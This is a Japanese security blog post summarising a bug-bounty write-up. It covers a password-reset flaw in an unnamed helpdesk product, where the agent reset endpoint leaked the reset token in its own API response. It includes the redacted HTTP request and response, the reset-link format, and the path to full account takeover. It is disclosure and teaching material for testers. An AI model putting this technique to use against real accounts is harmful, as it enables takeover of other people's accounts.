Shikata Ga Nai

Private? There is no such things.

Hello there, ('ω')ノ

 

パスワードリセットの設定ミスの話を。

 

脆弱性:

 パスワードリセットの欠陥

 情報開示

 

記事:

 https://naveenroy008.medium.com/tale-of-a-misconfiguration-in-password-reset-e8fb484a4661

 

今回は、ヘルプデスクソフトウェアでリセットトークンがリークされていたときに。

見つけたパスワードリセットの設定ミスに関するもので。

これは、Refererヘッダではなく、リクエスト自体の応答にあって。

この場合、アカウントのパスワードリセットを開始して。

すぐにそのアカウントのリセットトークンを受け取ることができて。

リクエストは、下記のとおりで。

 

POST /api/v1/base/password/reset HTTP/1.1
Host: [team_name].redacted.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 26
Connection: keep-aliveemail=[agent_email_address]

 

そして、応答は次のとおりで。

 

HTTP/1.1 200 OK
Server: nginx
Date: Tue, 25 Oct 2016 20:00:29 GMT
Content-Type: application/json
Content-Length: 2194
Connection: keep-alive
Cache-Control: private, max-age=0, must-revalidate
Expires: 0
X-API-Version: 1
Date-ISO: 2016-10-25T20:00:29+00:00
Access-Control-Expose-Headers: Date-ISO
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Date-ISO: 2016-10-25T20:00:29+00:00
Access-Control-Expose-Headers: Date-ISO{ "status": 200, "notifications": [ { "type": "SUCCESS", "message": "Password reset email sent to [Name]", "sticky": false } ], "auth_token": "[token]" }

 

auth_tokenは、有効なパスワードリセットリクエストで。

メールで受け取るリセットトークンで。

また、パスワードリセットリンクの形式は次のとおりで。

 https://[team_name].redacted.com/Auth/ResetPassword/[auth_token]

 

チーム名に関係なく(既存のチーム名を使用している限り)auth_tokenを挿入すると。

そのアカウントのパスワードをリセットできるようになって。

そして、完全に制御してこのアカウントへのログインに進むことができて。

ヘルプデスクソフトウェアであることを考えると重要で。


要点:

ユーザーアカウントとエージェントアカウントのオプションがあって。

ユーザのパスワードリセットエンドポイントは脆弱ではありませんでしたが。

エージェントのパスワードリセットエンドポイントは脆弱で見逃しがちで。

電子メールでトークンを受信する場合は、常に要求への応答を確認するように。

 

Best regards, (^^ゞ